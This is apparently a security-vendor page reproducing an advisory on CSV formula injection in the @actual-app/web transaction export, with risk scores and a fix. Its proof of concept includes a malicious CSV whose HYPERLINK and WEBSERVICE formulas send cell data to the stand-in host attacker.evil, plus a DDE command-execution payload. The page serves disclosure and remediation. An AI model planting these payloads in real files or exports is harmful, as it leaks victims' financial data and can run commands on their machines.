Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
📦
📦 npm
Not in CISA KEV
MEDIUM severity

GHSA-xqjm-27pc-rvwm

MEDIUM

GHSA-xqjm-27pc-rvwm is a medium-severity (CVSS 4.2) CWE-1236 vulnerability in @actual-app/web. O3 Security confirms whether GHSA-xqjm-27pc-rvwm is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

@actual-app/web has CSV Formula Injection in Transaction Export via Imported Payee/Notes Fields

Also known asCVE-2026-50179
Published
Jun 22, 2026
Updated
Jun 23, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Sep 7, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for GHSA-xqjm-27pc-rvwm.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs21th percentile — riskier than 21% of all scored CVEsHighest risk
0.00%0.26%0.52%0.79%0.2%0.3%0.3%Aug 26Sep 26Sep 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

How urgent is this, really

GHSA-xqjm-27pc-rvwm plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.

Where this sits among everything scored

Of 0 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.

Real-World Exposure

1 pkg affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

1other npm packages depend on this — each one inherits the vulnerability until it's patched upstream
@actual-app/webnpm
4Kdownloads / week

Description

Summary

exportToCSV and exportQueryToCSV in packages/loot-core/src/server/transactions/export/export-to-csv.ts pass user-controlled Payee, Notes, Account, and Category strings to csv-stringify with no cast callback and no formula-prefix neutralization. Strings that begin with =, +, -, @, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. =HYPERLINK("http://attacker/?leak="&B2,"Bank refund") is the most reliable variant: it renders as a clickable link with benign text and exfiltrates adjacent cells (transaction amount, account name, payee, balance) on click, with no security prompt in modern Excel/Sheets. =WEBSERVICE/=IMPORTXML provide auto-firing exfil in some configurations; legacy DDE may achieve RCE on older Excel.

Details

Sink — packages/loot-core/src/server/transactions/export/export-to-csv.ts:56:

return csvStringify(transactionsForExport, { header: true });

and the same call again at export-to-csv.ts:131 for exportQueryToCSV. csv-stringify v6 does not neutralize formula-trigger characters by default; only quote/comma/CRLF escaping is applied. There is no shared wrapper — grep for csvStringify finds exactly one source file across the monorepo.

Source of attacker-controlled Payee/Notes:

  • packages/loot-core/src/server/transactions/import/parse-file.ts:77 dispatches uploaded files to parseCSV (:109), parseOFX (:200), parseQIF (:158), parseCAMT (:250). None of them strip or escape formula prefixes from payee_name/imported_payee/notes.
  • For OFX, mapOfxTransaction in packages/loot-core/src/server/transactions/import/ofx2json.ts only runs html2Plain (HTML entity decoding) on the NAME field — =, +, -, @, \t are untouched.
  • sync.normalizeTransactions (packages/loot-core/src/server/transactions/sync.ts) applies title() casing, which only mutates letters via String.toLowerCase; non-letter prefix characters are preserved, and Excel formulas are case-insensitive (=hyperlink(...) parses identically to =HYPERLINK(...)).
  • The payee can also be entered directly through the UI or set via the @actual-app/api's payee/transaction CRUD endpoints — anyone with write access to a shared budget can plant the payload.

Verification that csv-stringify does not neutralize formulas:

$ node -e "const{stringify}=require('csv-stringify/sync');console.log(stringify([{Payee:'=HYPERLINK(\"http://x/?\"&B2,\"refund\")'}],{header:true}))"
Payee
"=HYPERLINK(""http://x/?""&B2,""refund"")"

The double-quote escaping is intact, but the leading = is not prefixed with ' or otherwise neutralized — Excel, LibreOffice Calc, and Google Sheets will all evaluate this as a formula on open.

PoC

  1. Attacker delivers a malicious file the victim is willing to import (fake bank OFX statement, shared budget file, expense-tracking CSV from a collaborator). Example malicious CSV the victim drops into "Import file":
Date,Payee,Amount
2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",100.00
2026-01-02,"@SUM(1+1)*cmd|'/c calc'!A0",50.00
2026-01-03,"+1+1",-25.00
2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",10.00
  1. Victim imports through Account → Import file. parseFile (parse-file.ts:77) → parseCSV/parseOFX/parseQIF/parseCAMT returns rows with the formula strings preserved as payee_name. sync.normalizeTransactions does not strip the prefix characters.
  2. Payees are persisted into the payees table verbatim.
  3. Some time later the victim runs Account → menu → Export. transactions-export-query invokes exportQueryToCSV (export-to-csv.ts:131).
  4. The exported file looks like (verified output shape from csvStringify):
Account,Date,Payee,Notes,Category_Group,Category,Amount,Split_Amount,Cleared
Checking,2026-01-01,"=HYPERLINK(""http://attacker.evil/leak?d=""&B2&C2,""Bank refund details"")",,,,100.00,0,Not cleared
Checking,2026-01-02,@SUM(1+1)*cmd|'/c calc'!A0,,,,50.00,0,Not cleared
Checking,2026-01-03,+1+1,,,,-25.00,0,Not cleared
Checking,2026-01-04,"=WEBSERVICE(""http://attacker.evil/?d=""&B2)",,,,10.00,0,Not cleared
  1. Victim or downstream recipient (accountant, spouse, tax preparer) opens the CSV in Excel/LibreOffice/Sheets. =HYPERLINK(...) renders as a clickable link that exfiltrates adjacent cell values to attacker on click; =WEBSERVICE/=IMPORTXML (Sheets/LibreOffice) fire automatically; legacy =cmd|... DDE may execute on unpatched Excel.

Impact

  • Confidentiality: Adjacent transaction data (amounts, account names, balances, payees, categories) can be exfiltrated to attacker-controlled URLs through =HYPERLINK clicks or auto-firing =WEBSERVICE/=IMPORTXML.
  • Integrity: Spreadsheet recipients (accountants, tax preparers) see attacker-chosen display values where they expected raw payee names, enabling fraud (e.g., forged "Refund" line items linking to phishing).
  • Reach: Exports from Actual Budget are commonly shared with third parties (accountants, tax software, household members). One malicious imported statement contaminates every future export of that budget.
  • Note on AC:H: requires victim-driven import → export → spreadsheet open. Modern Excel disables DDE by default, narrowing the RCE pathway, but =HYPERLINK exfil is universal and silent.

Recommended Fix

Pass a cast.string callback to csv-stringify that prefixes any formula-trigger string with a single quote, the OWASP-recommended neutralization. Apply at both call sites in packages/loot-core/src/server/transactions/export/export-to-csv.ts:

import { stringify as csvStringify } from 'csv-stringify/sync';

const FORMULA_PREFIX = /^[=+\-@\t\r]/;

function neutralizeFormula(value: string): string {
  return FORMULA_PREFIX.test(value) ? `'${value}` : value;
}

const csvOptions = {
  header: true,
  cast: {
    string: (value: string) => neutralizeFormula(value),
  },
} as const;

// export-to-csv.ts:56
return csvStringify(transactionsForExport, csvOptions);

// export-to-csv.ts:131
return csvStringify(transactionsForExport, csvOptions);

Alternative defenses to consider in addition:

  • Strip/neutralize formula prefixes on import in parse-file.ts for payee_name/notes so the database never contains formula-shaped strings (defense in depth — protects any future export consumers).
  • Add a regression unit test that asserts every CSV cell starting with =, +, -, @, \t, or \r is prefixed with '.

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
📦npm@actual-app/weball versions26.6.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for @actual-app/web. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update @actual-app/web to 26.6.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-xqjm-27pc-rvwm is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-xqjm-27pc-rvwm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-xqjm-27pc-rvwm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary `exportToCSV` and `exportQueryToCSV` in `packages/loot-core/src/server/transactions/export/export-to-csv.ts` pass user-controlled `Payee`, `Notes`, `Account`, and `Category` strings to `csv-stringify` with no `cast` callback and no formula-prefix neutralization. Strings that begin with `=`, `+`, `-`, `@`, tab, or carriage return survive verbatim into the exported CSV. When the victim (or anyone they share the export with) opens the file in Excel, LibreOffice Calc, or Google Sheets, the strings are interpreted as formulas. `=HYPERLINK("http://attacker/?leak="&B2,"Bank refund")` is t
O3 Security · Impact-Aware SCA

Is GHSA-xqjm-27pc-rvwm in your dependencies?

O3 detects GHSA-xqjm-27pc-rvwm across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.

GHSA-xqjm-27pc-rvwm: @actual-app/web… | O3 Security